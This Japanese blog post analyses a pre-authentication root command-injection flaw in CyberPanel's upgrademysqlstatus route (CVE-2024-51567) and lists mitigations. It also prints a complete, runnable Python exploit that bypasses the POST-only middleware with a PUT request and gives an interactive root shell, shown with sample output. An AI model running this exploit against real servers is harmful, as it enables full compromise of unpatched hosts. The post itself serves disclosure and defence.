CyberPanelの認証前root RCE脆弱性:エクスプロイトの詳細分析
CyberPanelに存在する認証前root RCE脆弱性の技術分析。確認済みのエクスプロイト経路、調査対象のコンポーネント、研究手法から得られた知見を含みます。
はじめに
本記事では、CyberPanelに存在するリモートコード実行(RCE)脆弱性の発見と悪用について詳しく解説します。CyberPanelは、FTP、SSH、SMTPといったWebホスティングサービスを管理するために使われるDjangoベースのWebアプリケーションです。この重大な欠陥により、認証されていない攻撃者がrootユーザーとして任意のコマンドを実行できてしまい、特にCyberPanelがVPSサーバーで広く利用されていることを踏まえると、深刻なセキュリティ上の懸念が生じます。
当社の調査により、すでに多くのマシンが侵害されていることが判明しました。これは、影響を受けたシステム上のランサムウェアを示す以下の画像からも明らかです。

最後に、本記事はDreyAndによる研究に着想を得たものであり、同研究はこの脆弱性に関連する技術的詳細とバイパス手法を明らかにしています。
2024年10月30日時点のアップデート
2つのCVEが割り当てられ、CyberPanelのメンテナーからセキュリティ告知も出されました。パッチコミットはこちらで入手できます。
-
CVE-2024-51567:
databases/views.py内のupgrademysqlstatus()に影響します。- 2024年10月にPSAUXによって実際に悪用されました。
- この問題は、
secMiddleware(POSTリクエストに対してのみ有効)をバイパスし、statusfileプロパティにシェルメタ文字を注入することで認証なしのコマンド実行を実現するものです。 - 2.3.6までのバージョンと、未修正の2.3.7に影響します。
-
CVE-2024-51568:
ProcessUtilities.outputExecutioner()のシンクにおけるcompletePathパラメーターを介したコマンドインジェクション脆弱性です。/filemanager/uploadを通じて認証なしのRCEにつながります。- File Managerのアップロード経路に供給されたシェルメタ文字を介して悪用されます。
- 2.3.5より前のバージョンが影響を受けます。
脆弱性の概要
- 脆弱なコンポーネント:CyberPanel
v2.3.6のupgrademysqlstatusルート。 - 影響:root権限での認証なしRCE。
- エクスプロイトの種類:0-click、認証前のリモートコード実行。
- 根本原因:不十分な認証チェックと、サブプロセスコマンドの安全でない使用。
コードの詳細とその分析
脆弱なバージョンのCyberPanelに含まれるupgrademysqlstatus()ルートは、アタックサーフェスがどのように特定されたのかを理解する重要な手がかりになります。このルートを分析し、根底にある欠陥を把握しましょう。
脆弱な関数:upgrademysqlstatus()
def upgrademysqlstatus(request):
try:
data = json.loads(request.body)
statusfile = data['statusfile']
# Unsafe execution using user input
installStatus = ProcessUtilities.outputExecutioner(f"sudo cat {statusfile}")
if "[200]" in installStatus:
ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 1}
return HttpResponse(json.dumps(response))
elif "[404]" in installStatus:
ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 0}
return HttpResponse(json.dumps(response))
else:
response = {'abort': 0, 'error_message': "None", 'requestStatus': installStatus}
return HttpResponse(json.dumps(response))
except KeyError:
return redirect(loadLoginPage)
upgrademysqlstatus関数の問題点:
-
認証チェックの欠如:
upgrademysqlstatusルートは、認証なしでアクセスできてしまいます。本来、機密性の高いルートは、セッショントークンやミドルウェアのチェックを通じてユーザーの本人確認を行うべきです。
-
コマンドインジェクション:
- ユーザーが制御する入力(
statusfile)が、サブプロセスコマンド(sudo cat {statusfile})に直接連結されています。 - この関数は
sudo権限で任意のシェルコマンドを実行してしまい、コマンドインジェクションにつながります。
- ユーザーが制御する入力(
-
ミドルウェアのバイパス:
- このアプリは
secMiddlewareを使ってPOSTリクエストをサニタイズしています。しかし、このミドルウェアがコマンドインジェクションをチェックするのは、リクエストメソッドがPOSTの場合のみです。 - このため攻撃者は、POST以外のメソッド(例:PUTやOPTIONS)を使いつつ、
request.bodyを介して悪意あるペイロードを供給することで、ミドルウェアをバイパスできます。
- このアプリは
class secMiddleware:
HIGH = 0
LOW = 1
def get_client_ip(request):
ip = request.META.get('HTTP_CF_CONNECTING_IP')
if ip is None:
ip = request.META.get('REMOTE_ADDR')
return ip
def __init__(self, get_response):
self.get_response = get_response
...
if request.method == 'POST':
# Security checks are applied only here...
try:
data = json.loads(request.body)
# ...but ignored for non-POST requests.
...
悪用と概念実証(PoC)
本セクションでは、ミドルウェアをバイパスして任意のコマンドを注入することで、この脆弱性を悪用する方法を示します。
エクスプロイトコード
以下のPoCは、PUTリクエストを送信してミドルウェアをバイパスし、コマンドを注入することで脆弱性を悪用する方法を示しています。
import httpx
import sys
def get_CSRF_token(client):
"""Retrieve the CSRF token required for requests."""
resp = client.get("/")
return resp.cookies['csrftoken']
def pwn(client, CSRF_token, cmd):
"""Send the malicious command to the vulnerable route."""
headers = {
"X-CSRFToken": CSRF_token,
"Content-Type": "application/json",
"Referer": str(client.base_url),
}
# Command injection via statusfile parameter
payload = '{"statusfile": "/dev/null; %s; #", "csrftoken": "%s"}' % (cmd, CSRF_token)
# Bypass middleware by using PUT instead of POST
response = client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload)
return response.json().get("requestStatus")
def exploit(target, cmd):
"""Main exploit logic."""
client = httpx.Client(base_url=target, verify=False)
CSRF_token = get_CSRF_token(client)
stdout = pwn(client, CSRF_token, cmd)
print(stdout)
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url>")
sys.exit(1)
target = sys.argv[1]
while True:
cmd = input("$> ")
exploit(target, cmd)
使い方
エクスプロイトを実行する:
python exploit.py https://<target-ip>:8090
任意のコマンドを注入する:
$> id
uid=0(root) gid=0(root) groups=0(root)
緩和策と推奨事項
今後、同様の脆弱性を防ぐために、以下の手順を推奨します。
-
認証ミドルウェアの一元化:
- 認証チェックを個々のルート単位ではなく、全体で一括して実装します。
-
メソッドをまたいだ入力検証:
- すべてのHTTPメソッドにわたって、一貫して入力検証を適用します。
-
直接的なコマンド実行の回避:
- Pythonの
subprocess.run()のようなライブラリを、ユーザー入力の適切なサニタイズとともに使用します。
- Pythonの
-
最小権限の原則:
- 絶対に必要な場合を除き、root権限でサービスを実行することを避けます。
-
SSHアクセスがある場合:
- アップデートガイドに従ってCyberPanelを更新してください。それ以上の対応は不要です。
-
SSHアクセスがない場合:
- 場合によっては、サーバーの過負荷やハッキングの試みを理由に、プロバイダーによってポート22へのアクセスが制限されていることがあります。
- その場合は、プロバイダーに連絡してポート22を有効化するよう依頼してください。アクセスが回復したら、提供されている手順に従ってパネルを更新します。
まとめ
CyberPanelのこの認証前RCEは、包括的な認証、一貫した入力検証、そしてサブプロセスコマンドの安全な取り扱いの重要性を浮き彫りにしています。攻撃者は、わずかなロジックの欠陥を容易に悪用し、ミドルウェアをバイパスして、権限をrootまで昇格できます。これは、見過ごされたセキュリティプラクティスがもたらす壊滅的な影響を示すものです。パッチが安定版リリースに完全に統合されるまでは、ユーザーはただちにパッチを適用し、脆弱なエンドポイントへのアクセスを制限すべきです。
タグ:
RCE